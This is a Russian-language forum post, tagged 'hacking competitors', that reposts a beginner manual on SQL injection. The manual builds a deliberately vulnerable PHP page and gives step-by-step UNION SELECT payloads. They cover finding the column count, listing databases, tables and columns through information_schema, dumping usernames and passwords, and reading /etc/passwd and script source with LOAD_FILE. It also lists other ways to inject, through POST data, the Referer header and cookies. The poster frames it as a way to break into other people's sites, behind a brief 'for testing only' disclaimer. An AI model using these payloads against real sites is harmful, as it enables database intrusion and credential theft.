Перейти к содержанию
Авторизация  

Взлом базы данных


Описание

взлом, взлом конкурентов

Многие из нас хотят этому научиться, вот мануал по которой учился я! С вас +

 

SQL-injection для новичков

 

 

 

Содержание:1. Введение

2. Как определить наличие SQL уязвимости

3. Тренировка на localhost-е

4. CREATE

5. INSERT

6. SELECT

7. Ещё некоторые SQL комманды

8. Php-cкрипт для работы с БД

9. UNION

10. Подбор кол-ва столбцов(ORDER BY)

11. version(),user(),database()

12. information_schema

13. group_concat()

14. К вопросу о шестнадцатеричных кодах

15. Узнавание названий схем, таблиц, колонок с помощью information_schema

16. Вытаскивание информации

17. Сложные запросы и комментирование остатка

18. Немного про файлы

19. Про то, куда вставлять

20. Послесловие

 

1. Введение:

В Интернете имеется достаточно большое кол-во статей по этой теме, но многие из них являются сильно устаревшими и относятся к тому периоду, когда кавычки не экранировались, а такого понятия как UNION ещё небыло...

Те же что не устаревшие, по большей части неполные и по этому трудны для понятия новичками, которые “совсем не в теме”.

В этой статье я попытался как можно понятнее и подробнее объяснить что это такое, Sql-injection, и показать как её проводить, используя UNION SELECT. В какой-то степени эта статья является обобщением и дополнением многих других.

 

Что такое SQL

SQL (Structured Query Language) – структурированный язык запросов.

Он используется для обращения к СУБД(Система Управления Базами Данных) с целью получения/изменения/удаления данных, существующих в базе.

 

В качестве примера, можно привести большинство форумов. При “заходе” в какую-нибудь тему мы передаём скрипту на сервере нечто вроде showthread=285.

Затем скрипт, используя полученные данные, производит запрос к СУБД, которая в свою очередь обращается к самой базе. Потом СУБД возвращает полученные данные, скрипту, который, обработав их,передаёт их в браузер.

SQL тут используется на стадии обращения скрипта к СУБД.

 

Упрощённое устройство реаляционных баз данных.

Наименьшей единицей в устройстве БД является поле(field). Поле, это грубо говоря – ячейка, в которой хранится собственно информация.

Поля объединяются в записи(record,row). Запись это аналог строки.

Так же каждое поле относится к какой-либо колонке(column). Например, колонка username, колонка password, колонка email итд.

Затем, записи объеденяются в таблицы(table). Каждая таблица имеет однотипные записи. Например, таблица users, в которой записаны имя пользователя, его пароль и адрес электронной почты.

 

Сами же таблицы хранятся в базах данных(database,schema).

http://www.hackzone....ers/18277/1.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]

Что такое SQL инъекция

Инъекция (от англ. Injection – введение,внедрение) это вставка произвольного SQL-кода в плохо фильтруемые параметры, которые используются в запросе к базе данных, с целью получения оттуда информации(например, пароля админа).

 

2. Как определить наличие SQL уязвимости

Самый, наверно, известный способ, это подстановка кавычки (‘) в запрос.

Например, forum.somesite.com/index.php?showthread=285’

Если имеется уязвимость, и ошибки не подавляются, то появится ошибка, например такого содержния

mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource.

Если же подавляются, то о наличии уязвимости может свидетельствовать пустой результат.

 

Еще один способ заключается в подставлении вместо числа арифметического выражении. Например, если

forum.somesite.com/index.php?showthread=285 и

forum.somesite.com/index.php?showthread=284+1

возвращают одну и ту же страницу, то вполне вероятно, что имеет место быть уязвимость.

 

Так же полезным может быть задание сортировки ORDER BY по 1-му столбцу, с комментированием остатка.(об этом ниже)

forum.somesite.com/index.php?showthread=285+ORDER+BY+1--+

forum.somesite.com/index.php?showthread=285+ORDER+BY+1/*

 

3. Тренировка на localhost-е

Чтобы самому попробовать SQL-инъекцию, надо на localhost-е (на своём компе) установить веб-сервер, php интерпретатор и саму СУБД(ставить лучше всего MySQL, т.к. она используется более чем на 70% сайтов).

Если ещё не установлены, то посмотрите здесь.

 

http://httpd.apache.org/

http://php.net

http://mysql.com

Процесс установки и настройки описывать не буду, поскольку ничего сложного нет, и к тому же мануал по этому поводу есть и в самих этих программах. Единственное, советую под винду, php не встраивать как модуль апача, а установить как CGI binary.

 

ScriptAlias /php/ "c:/php/"

AddType application/x-httpd-php .php

Action application/x-httpd-php "/php/php-cgi.exe"

Или сразу всё в комплекте да и на русском языке:

http://denwer.ru/

Итак, всё нужное установлено и настроено, запускаем MySQL Command Line Client, и вводим указанный при установке пароль.

 

4. CREATE

Создаём тестовую базу данных.

 

mysql> CREATE DATABASE test;

 

Затем переключаемся на неё

mysql> USE test;

 

Создаём 2 таблицы – users и pages

 

mysql> CREATE TABLE users (

-> username VARCHAR(32) NOT NULL,

-> password VARCHAR(32) NOT NULL,

-> email VARCHAR(48)

-> );

 

mysql> CREATE TABLE pages (

-> id SMALLINT NOT NULL AUTO_INCREMENT,

-> content TEXT NOT NULL,

-> PRIMARY KEY(id)

-> );

 

CREATE – как ясно из названия, что-то создаёт. Создавать он может либо DATABASE, принимая в качестве аргумента название новой базы, либо TABLE, тогда ему надо дать описание каждой колонки – название, тип, модификаторы а также ключи

Типы:

VARCHAR(x) – строка переменной длины, до x символов (не более 1FEh)

SMALLINT – целое число от -8000h до 7FFFh

TEXT – Текст до FFFFh символов(64 КБ)

 

Модификаторы:

NOT NULL – поле не может содержать неопределенного(NULL) значения и должно быть явно инициализовано.

AUTO_INCREMENT – автоматическое увеличение значения этого поля на единицу, при добавлении новой записи.

Ключ: PRIMARY KEY – значение поля, установленного в качестве первичного ключа, должно быть уникальным в своей колонке. Не применимо к полю, допускающему значение NULL

 

USE – переключает текущую базу данных. В качестве аргумента принимает её название.

 

5. INSERT

Затем набиваем созданные таблицы значениями

 

mysql> INSERT INTO users (username, password, email) VALUES

-> (‘admin’, ’qwerty’, ’admin@localhost’),

-> (‘lamer’, ’1234’, ’lamer@mail.ru’),

-> (‘hacker’, ’ef43f433$532’, ’hacker@hack.com’);

 

mysql> INSERT INTO pages (content)

-> VALUES (‘Page1’),(‘Page2’),(‘Page3’);

 

INSERT INTO – Добавляет в указанную таблицу новые записи.

Синтаксис:

INSERT INTO название_таблицы (колонки, в которые вставляются значения)

VALUES (Запись1),(Запись2), ... (ЗаписьN);

 

Если не указать колонку, имеющую модификатор NOT NULL, то произойдёт ошибка, и данные добавлены не будут.

В данном случае, колонка id , имеющая модификатор NOT NULL не указанна, но поскольку она имеет модификатор AUTO_INCREMENT, то значение в ней было установлено автоматически.

 

6. SELECT

Теперь можно посмотреть результат :

 

mysql> SELECT * FROM pages;

mysql> SELECT * FROM users;

 

SELECT – самый, наверное, важный оператор – выбирает из указанной таблицы данные из указанных столбцов

(* -- все столбцы). Попробуйте так:

SELECT username, email FROM users;

Будут выведены только колонки username и email.

----

WHERE – распространяет действие команды только на те записи, которые соответствуют условию. Например:

SELECT * FROM users WHERE username=’admin’;

 

OR\AND -- Объединение условий

 

OR – если выполняется хотя бы одно условие.

SELECT * FROM users WHERE username=’admin’ OR username=’hacker’;

 

AND – если выполняются все условия

SELECT * FROM users WHERE password=’1234’ AND email=’lamer@mail.ru’;

SELECT * FROM users WHERE username=’admin’ AND password=’ef43f433$532’

(Ничего не выведет, так как таких записей нет. (Empty set))

----

ORDER BY -- задаёт сортировку по столбцу(название или номер)

SELECT * FROM users ORDER BY username;

SELECT * FROM users ORDER BY 2;

----

LIMIT -- Выбирает в результирующую таблицу начиная со смещения k , N записей (LIMIT k,N)

SELECT * FROM users LIMIT 0,1;

SELECT * FROM users LIMIT 1,2;

Можно указать только кол-во записей. тогда смещение будет по дефолту равно 0.

SELECT * FROM users LIMIT 2;

 

7. Ещё некоторые SQL комманды

 

UPDATE -- обновление значений таблицы

Синтаксис:

UPDATE имя_таблицы

SET поле1='значение1',поле2='значение2',...,полеN='значениеN'

WHERE условие;

Например:

UPDATE users

SET password='123qwerty456'

WHERE username='admin';

----

DELETE -- удаление записи из таблицы.

Синтаксис:

DELETE FROM имя_таблицы

WHERE условие ;

Например DELETE FROM users WHERE username='lamer';

!Если не указать условие, то таблица будет полностью очищена!

----

DROP -- удаляет таблицу или базу данных, !в не зависимости от того, содержит ли она что-либо!

Синтаксис:

DROP [TABLE | DATABASE] имя

Например DROP TABLE testtable

 

8. Скрипт для работы с БД

Теперь сделаем php скрипт, который будет работать с базой данных.

 

<?php

$host='localhost';

$user='root';

$password=''; //Надо вставить пароль, указанный при установке MySQL

$database='test';

//Установка значений переменных

 

if (empty($_REQUEST['id'])) die ("404 Not Found");

//Если не получен параметр id, выдаём ошибку и завершаем работу.

$sql=mysql_connect($host, $user, $password);

//Установка соединения с СУБД.

mysql_select_db($database, $sql);

//Выбор базы данных.

$request="SELECT id,content FROM pages WHERE id=".$_REQUEST['id'];

//Составление запроса на получение поля с указанным id.

$sql_res=mysql_query($request, $sql);

//Отправка запроса. Запись результата в $result.

if (mysql_num_rows($sql_res)==0) die ("404 Not Found");

//Проверка результата. Если вернулось 0 строк, выдаём ошибку и завершаем работу.

$result=mysql_fetch_assoc($sql_res);

//Обработка результата, представление первой строки в виде ассоциативного массива.

mysql_close($sql);

//Закрытие соединения.

echo $result['content'];

//Вывод результата.

?>

 

 

Сохраняем скрипт как sql.php в папку для хтмл-документов, запускаем веб-сервер, открываем браузер и вводим в адресную строку:

http://localhost/sql.php?id=1

http://localhost/sql.php?id=2

http://localhost/sql.php?id=5

 

А теперь http://localhost/sql.php?id=1’

Что мы видим? А видим мы нечто вроде

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in С:\www\html\sql.php on line 11

Вот и SQL уязвимость в чистом виде. Почему так произошло?

Да потому, что введённые данные никак не фильтруются(кроме того, что кавычки и другие символы экранируются) и сразу передаются в СУБД.

MySQL попыталась выполнить запрос

SELECT * FROM pages WHERE id=2\’;

А поскольку 2\' не является SMALLINT, как было объявлено, возникает ошибка.

 

9. UNION

Теперь надо рассказать о такой прекрасной команде, как UNION.

UNION соединяет несколько результатов запросов в 1 таблицу.

SELECT 1,2 UNION SELECT 3,4;

Имена колонок, при этом берутся из первого запроса, даже если он возвращает 0 записей.

 

http://www.hackzone....ers/18277/3.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Однако, для работы UNION запросы должны получать одинаковое кол-во столбцов.

Например:

SELECT 1,2,3 UNION SELECT 4,5;

Вызовет ошибку.

 

Так, же объеденяемые поля должны иметь одинаковый тип данных или быть совместимыми (например CHAR и VARCHAR, NULL конвертируется в любой тип).

 

10. Подбор кол-ва столбцов (ORDER BY)

Для проведения инъекции с использованием UNION надо подобрать количество столбцов, возвращаемых изначальным запросом. Самый простой способ подбора, это использование ORDER BY. Если мы задаём в качестве параметра число большее, чем кол-во колонок, то возникает ошибка. Переберать удобнее всего по 5.

 

http://localhost/sql...id=1 ORDER BY 5

http://localhost/sql...d=1 ORDER BY 10

Итд, пока не появится ошибка. У нас ошибка появится сразу, тк колонок меньше 5.

http://localhost/sql...id=1 ORDER BY 4

http://localhost/sql...id=1 ORDER BY 3

http://localhost/sql...id=1 ORDER BY 2

При 2 ошибка исчезает. Из того делаем вывод, что колонок -- 2.

 

Теперь смотрим, какое поле выводится. Для этого подставляем в запрос команду UNION , с подобранным числом колонок.

При этом в изначальный параметр ставим значение, которое заведомо вернёт 0 строк, для того чтобы в 1-ую строку попал наш, прикреплённый при помощи UNION запрос. Так же, можно использовать команду LIMIT, указав в качестве параметра 0.

 

http://localhost/sql...NION SELECT 1,2

http://localhost/sql...NION SELECT 1,2

При этом используется то свойство SQL, что числовой тип прекрасно преобразуется в любой другой.

А выводится у нас, как видно, поле 2.

 

http://www.hackzone....ers/18277/2.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]

Примечание: Может встретится ситуация, когда пробел фильтруется. Тогда можно использовать /**/ вместо +11. version(),user(),database()

Для начала, мы посмотрим с чем мы имеем дело от чьего имени действуем, и в какой базе данных находимся ,используя функции version(), user() и database()

 

http://localhost/sql...LECT 1,version()

http://localhost/sql... SELECT 1,user()

http://localhost/sql...ECT 1,database()

 

Вставлять запрос надо по возможности в поле с текстовым типом(чем длиннее, тем лучше), например сообщение на форуме или новость.

 

Если в version() выводится версия 5.*.** , то это очень хорошо, так как в MySQL начиная с 5-ой версии, согласно 4 правилу доктора Кодда, появилась такая прекрасная вещь, как information_schema , в которой находятся названия всех баз данных, таблиц и колонок.

Если же версия меньше 5-ой, то это не очень хорошо, т.к названия придётся подбирать. Для этого существуют специальные программы, которые найти несложно.

Хотя админы обычно не оригинальны, и их пароли как правило хранятся в таблице admin, имеющую колонки username и password.

 

12. information_schema

information_schema -- виртуальная база данных MySQL, содержащая, как ясно из названия, кучу всякой информации.

Таблицы и столбцы, содержащие названия баз данных, таблиц и колонок:

 

schemata – Таблица с названиями баз данных.

В ней колонка:

schemata_name – собственно само название

----

tables – Таблица с названиями таблицами

В ней колонки:

table_name – название таблицы

table_schema – база данных, к которой относится таблица

----

columns – Таблица с названиями колонок

В ней колонки:

column_name – название столбца

table_name – название таблицы, к которой относится столбец

table_schema – база данных, к которой относится таблица со столбцом

----

обращаться к этим таблицам надо соответственно

information_schema.schemata

information_schema.tables

information_schema.columns

(База.Таблица)

 

Поскольку в 1 поле выводится одно значение, чтобы просмотреть допустим сразу все имеющиеся записи, надо пользовать функцию group_concat().

 

13. group_concat()

group_concat() – функция, используемая для конкатенации(соединения) полученных результатов.

Синтаксис: group_concat(first,second,...,n)

Например: SELECT group_concat(1,0x3A,2);

0x3A – шестнадцатеричный код двоеточия.

Так же у функции есть параметр SEPARATOR, который задаёт разделитель при выводе записей (по умолчанию – запятая). Например:

SELECT group_concat(username,0x3A,password SEPARATOR 0x7C) FROM users;

(0x7С = |)

 

!Функция group_concat() возвращает поле с типом даных VARCHAR, при установках по умолчанию, имеющий максисальный размер 512 байт (в старых версиях mySQL 256 байт), это решается тем, что при исползовании UNION, при соеденении с полем типа TEXT или больше, VARCHAR конвертируется.

Единственный минус, это то, что для использования надо знать названия колонок(решается использованием information_schema).

Как вариант можно использовать функцию concat_ws(sep,first,second,...,n)14. К вопросу о шестнадцатеричных кодах

Их использование обуславливается экранированием кавычек. Если отправить скрипту строку ‘string’, то в СУБД она будет передана как \’string\’ , что вызовет ошибку.

По этому строки надо передавать в виде шестнадцатеричных кодов, либо используя функции преобразования типа Char() и CHR().

Однако, в некоторых местах использование функций недопустимо, а в виде шестнадцатеричного числа строка охотно принимается (хотя есть такие места, где не принимается ни то, ни другое, и приходится обломится).

Скрипты или утилиты, переводящие строку в шестнадцатеричное представление найти в инете или сделать самому весьма несложно. Те же, кому искать лень(или делать умеют), могут воспользоваться написанным мной.

 

<job id = string2Hex by Viglim>

<script language="VBScript">

Function WSHInputBox(Message,Title)

WSHInputBox = InputBox(Message,Title)

End Function

 

Function ToHex(num)

ToHex = Hex(num)

End Function

</script>

<script language="JScript">var source = WSHInputBox("Enter source text","String2Hex");

if (typeof(source) == "undefined" || source == "") WScript.Quit();

var Res = "0x";

for (i=0;i<source.length;i++) Res += ToHex(parseInt(source.charCodeAt(i)));

var out = WScript.CreateObject("Scripting.FileSystemObject").OpenTextFile("string2Hex.txt",8,true);

out.WriteLine(source+" -> "+Res);

out.Close();

 

</script>

</job>

 

Это надо забить в блокнот, сохранить под именем string2Hex.wsf и запустить.

Результат сохраняется в файл string2Hex.txt

 

15. Узнавание названий схем, таблиц, колонок с помощью information_schema

Так вот, что-бы узнать названия баз данных, делаем запрос

http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.schemata

 

0x0b – это непечатный символ, который трактуется оперой(вроде, ещё firefox'ом) как переход на новую строку.

В других браузерах, для вывода в столбик надо использовать 0x3C62723E (<br>)

 

В ответе видим базы данных:

information_schema

mysql

test

 

information_schema и mysql это встроенные базы, а интересует нас база test

Кодируем test (без кавычек!) в шестнадцатеричный код (0x74657374) и делаем запрос на названия таблиц

http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.tables+WHERE+table_schema=0x74657374

 

Получаем:

pages

users

 

pages нас мало интересует, поскольку их 'содержимое' мы и так можем посмотреть, а вот users это то, что надо.

Кодируем users(0x7573657273) и делаем запрос на названия колонок

 

http://localhost/sql... SEPARATOR 0x0b)+FROM+information_schema.columns+WHERE+table_schema=0x74657374+AND+table_name=0x7573657273

 

Получаем:

username

password

email

 

16. Вытаскивание информации

Вытаскиваем содержимое users

http://localhost/sql... SEPARATOR 0x0b)+FROM+test.users

 

http://www.hackzone....ers/18277/4.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Либо просто берём пароль админа(admin, 0x61646D696E)

http://localhost/sql...me=0x61646D696E

 

http://www.hackzone....ers/18277/5.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]Кстати, возможно будет интересно попробовать произвести запрос

http://localhost/sql... SEPARATOR 0x0b)+FROM+mysql.user

с целью получить хэши паролей доступа к БД, которые расшифровать обычно особого труда не составляет, хотя обычно доступа к таблице mysql.user просто нету.

 

17. Сложные запросы и комментирование остатка

Очень часто может встретится проблема, когда запрос усложнён использованием команд, стоящих после параметра,скобок или ещё чегонибудь, что затрудняет инъектирование.

 

Например, "SELECT * FROM pages WHERE (id= $_REQUEST['id']) ORDER BY id LIMIT 0,1"

И при подстановке простого UNION SELECT произойдёт ошибка. Решается это подбором вариантов относительно скобок и комментированием остатка запроса.

В MySQL знаками комментирования являются:

-- (необходим хотя бы один пробел после использования, те --+)

/*

#

Тут, надо было бы делать запросы вроде:

http://localhost/sql.php?id=-1)+UNION+SELECT+1,2--+

http://localhost/sql.php?id=-1)+UNION+SELECT+1,group_concat(username,0x3A,password+SEPARATOR+0x0b)+FROM+test.users--+

В таком случае комманды, стоящие после инъекции, становятся комментарием и на результат запроса уже не влияют.

Так же, в некоторых случаях, остаток строки(на уровне php) можно отрезать при помощи %00 (NUL байт).

 

18. Немного про файлы

Если у пользователя, от имени которого ведется работа с БД имеются права file_priv то можно при помощи функции LOAD_FILE получить на просмотр содержимое произвольного файла.

http://localhost/sql...46573742E747874)

http://localhost/sql...32F706173737764)

(0x433A2F746573742E747874 = C:/test.txt ; 0x2F6574632F706173737764 = /etc/passwd)

Так же, можно вытащить сами файлы скриптов, на предмет паролей доступа к БД , нахождения там каких-либо других уязвимостей(например, PHP include) или же на предмет банального воровства исходников.

http://localhost/sql...F73716C2E706870)

(0x633A2F7777772F68746D6C2F73716C2E706870 = c:/www/html/sql.php)

Посмотреть можно будет в исходном коде вернувшейся страницы.

 

http://www.hackzone....ers/18277/6.jpg [Изображение заблокировано. Пожалуйста, загрузите картинку на наш форум: http://forummaxi.ru/....php?app=ihost.]19. Про то, куда вставлять(не подумайте чего лишнего)

А туда, через что передаются данные.

А передоваться они могут через:

GET - запросы. (т.е. часть ссылки), как это описанно в статье.

POST - запросы. Для их редактирования могу посоветовать аддон для firefox'a Live HTTP Headers или связку программ

SmartSniff + InetCrack.

HTTP_REFERER - Для его редактирования можно пользоваться тем же Live HTTP Headers.

Cookies - Инструмент для их редактирования есть в любом уважающем себя браузере.

 

20. Послесловие:

Помните 1-ую статью 'Конституции хакера', “не убей!” , и если нет особой надобности, ничего не удаляйте и не портите. (Хотя немного подшутить над админом можно , но это уже зависит от вашей фантазии).

 

Ну и конечно же, все должны понимать, что статья написана только для ознакомления и тестирования своего веб-сервера на предмет уязвимостей.

Любые комментарии приветствуются.

Копирование разрешается с оставлением копирайта и указанием ссылки на первоисточник.by madeRUS



Рекомендуемые комментарии

Комментариев нет

×
×
  • Создать...